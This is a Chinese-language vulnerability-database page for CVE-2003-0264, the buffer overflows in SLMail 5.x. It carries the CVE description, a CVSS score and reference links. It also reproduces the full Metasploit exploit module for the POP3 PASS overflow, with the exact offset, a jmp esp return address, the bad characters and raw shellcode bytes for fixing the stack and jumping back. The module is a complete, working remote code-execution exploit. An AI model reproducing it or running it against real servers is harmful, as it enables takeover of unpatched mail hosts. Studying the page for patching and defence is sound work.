CVE-2003-0264
CVSS7.5
发布时间 :2003-05-27 00:00:00
修订时间 :2016-10-17 22:31:21
NMCOE    

[原文]Multiple buffer overflows in SLMail 5.1.0.4420 allows remote attackers to execute arbitrary code via (1) a long EHLO argument to slmail.exe, (2) a long XTRN argument to slmail.exe, (3) a long string to POPPASSWD, or (4) a long password to the POP3 server.


[CNNVD]SLMail缓冲区溢出漏洞(CNNVD-200305-072)

        SLMail 5.1.0.4420版本存在多个缓冲区溢出漏洞。远程攻击者可以通过(1)slmail.exe中的超长EHLO 参数,(2) slmail.exe中的超长XTRN参数,(3) POPPASSWD中的超长字符串,或(4)POP3服务器中的超长密码执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0264
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0264
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200305-072
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105232506011335&w=2
(UNKNOWN)  BUGTRAQ  20030507 Multiple Buffer Overflow Vulnerabilities in SLMail (#NISR07052003A)
http://marc.info/?l=ntbugtraq&m=105233360321895&w=2
(UNKNOWN)  NTBUGTRAQ  20030507 Multiple Buffer Overflow Vulnerabilities in SLMail (#NISR07052003A)
http://www.nextgenss.com/advisories/slmail-vulns.txt
(VENDOR_ADVISORY)  MISC  http://www.nextgenss.com/advisories/slmail-vulns.txt

- 漏洞信息

SLMail缓冲区溢出漏洞
高危 缓冲区溢出
2003-05-27 00:00:00 2006-08-24 00:00:00
远程  
        SLMail 5.1.0.4420版本存在多个缓冲区溢出漏洞。远程攻击者可以通过(1)slmail.exe中的超长EHLO 参数,(2) slmail.exe中的超长XTRN参数,(3) POPPASSWD中的超长字符串,或(4)POP3服务器中的超长密码执行任意代码。

- 公告与补丁

        

- 漏洞信息 (16399)

Seattle Lab Mail 5.5 POP3 Buffer Overflow (EDBID:16399)
windows remote
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: seattlelab_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
			'Description'    => %q{
					There exists an unauthenticated buffer overflow vulnerability
				in the POP3 server of Seattle Lab Mail 5.5 when sending a password
				with excessive length.

				Successful exploitation should not crash either the
				service or the server; however, after initial use the
				port cannot be reused for successive exploitation until
				the service has been restarted. Consider using a command
				execution payload following the bind shell to restart
				the service if you need to reuse the same port.

				The overflow appears to occur in the debugging/error reporting
				section of the slmail.exe executable, and there are multiple
				offsets that will lead to successful exploitation. This exploit
				uses 2606, the offset that creates the smallest overall payload.
				The other offset is 4654.

				The return address is overwritten with a "jmp esp" call from the
				application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
				return address works against all version of Windows and service packs.

				The last modification date on the library is dated 06/02/99. Assuming
				that the code where the overflow occurs has not changed in some time,
				prior version of SLMail may also be vulnerable with this exploit. The
				author has not been able to acquire older versions of SLMail for
				testing purposes. Please let us know if you were able to get this
				exploit working against other SLMail versions.
			},
			'Author'         => 'stinko',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2003-0264'],
					['OSVDB', '11975'],
					['BID', '7519'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'MinNops'  => 100,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
				],
			'DisclosureDate' => 'May 07 2003',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(110)
			], self.class)

	end

	def exploit
		connect

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		banner = sock.get_once
		if banner !~ /^\+OK POP3 server (.*) ready/
			print_error("POP3 server does not appear to be running")
			return
		end

		sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
		res = sock.get_once
		if banner !~ /^\+OK (.*) welcome here$/
			print_error("POP3 server rejected username")
			return
		end

		request  = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
		request << payload.encoded
		request << [target.ret].pack('V')
		request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
		request << "\xe9\xcb\xfd\xff\xff"         # go back 560 bytes
		request << rand_text_alphanumeric(512)         # cruft
		request << "\r\n"

		sock.put(request)

		handler
		disconnect
	end

end
		

- 漏洞信息

11973
SLMail ETRN Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-05-07 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站